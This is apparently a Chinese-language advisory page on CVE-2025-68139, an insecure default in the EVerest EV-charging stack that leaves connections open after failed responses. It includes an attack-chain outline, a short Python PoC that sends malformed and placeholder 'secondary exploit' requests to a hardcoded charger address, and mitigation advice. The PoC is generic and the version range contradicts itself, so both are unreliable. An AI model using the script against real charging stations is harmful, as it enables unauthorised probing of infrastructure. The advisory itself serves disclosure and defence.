IPBUF安全漏洞报告
English
CVE-2025-68139 CVSS 4.3 中危

CVE-2025-68139 EVerest充电软件terminate_connection_on_failed_response配置不当漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-68139
漏洞类型
配置不当/安全控制绕过
CVSS评分
4.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest (EV充电软件栈)

相关标签

配置不当EVerest电动汽车充电连接管理安全控制绕过CVSS 4.3中危漏洞邻接网络攻击

漏洞概述

EVerest是一款开源的电动汽车(EV)充电软件栈。该漏洞存在于所有版本直至并包括2025.12.1中,核心问题在于`terminate_connection_on_failed_response`参数的默认值为False。在这种配置下,当充电模块遇到错误时,系统仅记录日志而不会触发会话终止或连接重置等安全防护措施。这导致连接终止的控制权完全交给电动汽车(EV)本身。攻击者可以通过恶意构造的请求或利用其他弱点,在这种不安全的默认配置下实施进一步攻击。该漏洞的严重性在于它可能与其他安全漏洞结合,形成更复杂的攻击链。

技术细节

EVerest充电软件栈的连接管理模块存在配置缺陷。`terminate_connection_on_failed_response`参数控制着当模块接收到失败响应时的行为。在默认配置(False)下,系统采取被动姿态:(1)模块仅记录错误日志,不采取主动防御措施;(2)会话和连接的终止完全依赖EV端发起;(3)恶意用户可利用此配置缺口,在遇到错误时不触发安全复位;(4)攻击者可结合其他漏洞(如协议解析缺陷、认证绕过等)进行组合攻击。技术层面,该参数位于充电模块的连接管理配置中,当设置为true时会强制终止连接并触发安全复位,但因可能引起某些车辆ECU需要重启而被设为非默认。这种设计权衡导致了潜在的安全风险。攻击者可通过发送特制请求触发错误条件,利用系统不自动断开连接的特性,维持恶意会话并伺机利用其他漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取EVerest充电站的网络访问权限,处于邻接网络位置
STEP 2
步骤2
攻击者发送特制请求触发模块错误响应
STEP 3
步骤3
由于默认配置terminate_connection_on_failed_response=False,系统仅记录错误但不终止连接
STEP 4
步骤4
攻击者利用保持开放的连接,结合其他安全漏洞(如协议漏洞、认证缺陷)实施进一步攻击
STEP 5
步骤5
攻击者可能实现会话劫持、数据篡改或拒绝服务等恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68139 PoC - EVerest配置不当漏洞演示 # This PoC demonstrates the configuration issue where terminate_connection_on_failed_response is False import socket import time def exploit_everest_config_issue(target_ip, target_port): """ Simulate exploiting the default configuration of terminate_connection_on_failed_response The default setting keeps connection alive even on failed responses """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send malformed request to trigger error response malicious_request = b"MALFORMED_EVSE_REQUEST\r\n" sock.sendall(malicious_request) # With default config (terminate_connection_on_failed_response=False): # - Connection remains open # - Error is only logged # - No session/connection reset triggered response = sock.recv(4096) print(f"Response received: {response}") print("Connection NOT terminated - vulnerable configuration") # Attacker can now attempt to exploit other weaknesses # while maintaining the connection # Exploitation attempt - try to trigger secondary vulnerability secondary_payload = b"GET /exploit_secondary_vuln HTTP/1.1\r\n\r\n" sock.sendall(secondary_payload) sock.close() return True except Exception as e: print(f"Error: {e}") return False def check_current_config(target_ip): """ Mitigation: Set terminate_connection_on_failed_response to true In config file (e.g., config.yaml): connection: terminate_connection_on_failed_response: true """ print("Recommended fix: Change terminate_connection_on_failed_response to 'true'") return {"terminate_connection_on_failed_response": "true"} if __name__ == "__main__": target = "192.168.1.100" port = 8080 exploit_everest_config_issue(target, port)

影响范围

EVerest < 2025.12.1 (所有版本直至并包括2025.12.1)

防御指南

临时缓解措施
临时缓解措施:将EVerest配置文件中的`terminate_connection_on_failed_response`参数从false改为true。虽然这可能导致某些车辆ECU需要重启和短暂的充电不可用,但维护人员认为这比充电站长期处于不安全状态更为重要。建议同时启用网络隔离,限制对充电站的邻接网络访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表